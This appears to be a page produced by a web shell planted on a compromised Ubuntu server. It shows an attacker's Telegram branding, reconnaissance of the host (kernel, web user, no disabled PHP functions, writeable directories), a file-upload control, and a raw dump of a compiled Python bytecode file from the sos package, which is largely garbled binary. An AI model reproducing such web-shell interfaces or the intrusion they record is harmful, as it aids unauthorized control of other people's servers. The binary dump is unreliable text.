https://t.me/RX1948
Server : nginx/1.24.0
System : Linux ip-172-31-33-48 6.14.0-1011-aws #11~24.04.1-Ubuntu SMP Fri Aug 1 02:07:25 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/policies/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/policies/distros/__pycache__/ubuntu.cpython-312.pyc
�

-�_g���^�ddlZddlmZddlmZddlmZddlmZddl	m
Z
Gd�de�Zy)	�N)�UbuntuPlugin)�DebianPolicy)�SnapPackageManager)�DpkgPackageManager)�MultiPackageManagerc�n��eZdZdZddgZdZdZdZdZdZ	dZ
d	Z		d�fd
�	Zd�Z
d�fd�	Zd
�Z�fd�Z�xZS)�UbuntuPolicy�	Canonical)zCommunity Websitezhttps://www.ubuntu.com/)zCommercial Supportzhttps://www.canonical.com�Ubuntu�zb/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/local/sbin:/usr/local/bin:/snap/binz,https://files.support.canonical.com/uploads/�ubuntu�putc���t�|�||||��tttg|j
|��|_	|jjd�ddk(rd|_|xjtgz
c_
y#t$rY�&wxYw)N)�sysroot�init�
probe_runtime�remote_exec)�primary�	fallbacks�chrootr�	sosreport�pkg_manager�snapz	/snap/bin)�super�__init__rrrr�package_manager�pkg_by_name�sos_bin_path�	TypeError�valid_subclassesr)�selfrrrr�	__class__s     ��=/usr/lib/python3/dist-packages/sos/policies/distros/ubuntu.pyrzUbuntuPolicy.__init__"s����
����t�'4�%0�	�	2� 3�&�)�*��<�<�#�	 %���	��#�#�/�/��!�!.�0�39�:�$/��!�
	
���,��/���	�	��	�s�(B�	B�Bc��	tddd��5}|j�}|D]<}d|vs�t|jd�dj	��ccddd�S	ddd�y	#1swYy	xYw#t
tf$rYy	wxYw)
z7 Returns the version stated in DISTRIB_RELEASE
        z/etc/lsb-release�rzutf-8)�encoding�DISTRIB_RELEASE�=�NF)�open�	readlines�float�split�strip�IOError�
ValueError)r!�fp�lines�lines    r#�dist_versionzUbuntuPolicy.dist_version8s���	��(�#��@�
A�B������!�A�D�(�D�0�$�T�Z�Z��_�Q�%7�%=�%=�%?�@�@�	
A�
A�A�
A�
�
A�
����$�	��	�s?�A8�A,�,A,�	A8�!A,�#A8�,A5�1A8�5A8�8B
�	B
c���|jj|j�r|j|jfSt
�|��S�N)�
upload_url�
startswith�_upload_url�_upload_user�_upload_passwordr�get_upload_https_auth)r!�user�passwordr"s   �r#r<z"UbuntuPolicy.get_upload_https_authEs@����?�?�%�%�d�&6�&6�7��%�%�t�'<�'<�=�=��w�,�.�.�c��|jj|j�ry|j|j	��S)NzCanonical Support File Server)r7r8r9�_get_obfuscated_upload_url�get_upload_url)r!s r#�get_upload_url_stringz"UbuntuPolicy.get_upload_url_stringJs7���?�?�%�%�d�&6�&6�7�2��.�.�t�/B�/B�/D�E�Er?c�"��|jr%|jj|j�rP|js|jStj
j
|j�}|j|zSt�|�!�Sr6)	r7r8r9�upload_archive_name�os�path�basenamerrB)r!�fnamer"s  �r#rBzUbuntuPolicy.get_upload_urlOso������$�/�/�"<�"<�T�=M�=M�"N��+�+��'�'�'��G�G�$�$�T�%=�%=�>�E��#�#�e�+�+��w�%�'�'r?)NNTN)NN)�__name__�
__module__�__qualname__�vendor�vendor_urls�os_release_name�os_release_file�PATHr9r:r;�_upload_methodrr4r<rCrB�
__classcell__)r"s@r#r	r	sb���
�F�8�;��K��O��O�9�D�@�K��L����N�>B�!�0�,�/�
F�
(�(r?r	)rF�sos.report.pluginsr�sos.policies.distros.debianr�"sos.policies.package_managers.snapr�"sos.policies.package_managers.dpkgr�sos.policies.package_managersrr	�r?r#�<module>rZs'��
�+�4�A�A�=�B(�<�B(r?

https://t.me/RX1948 - 2025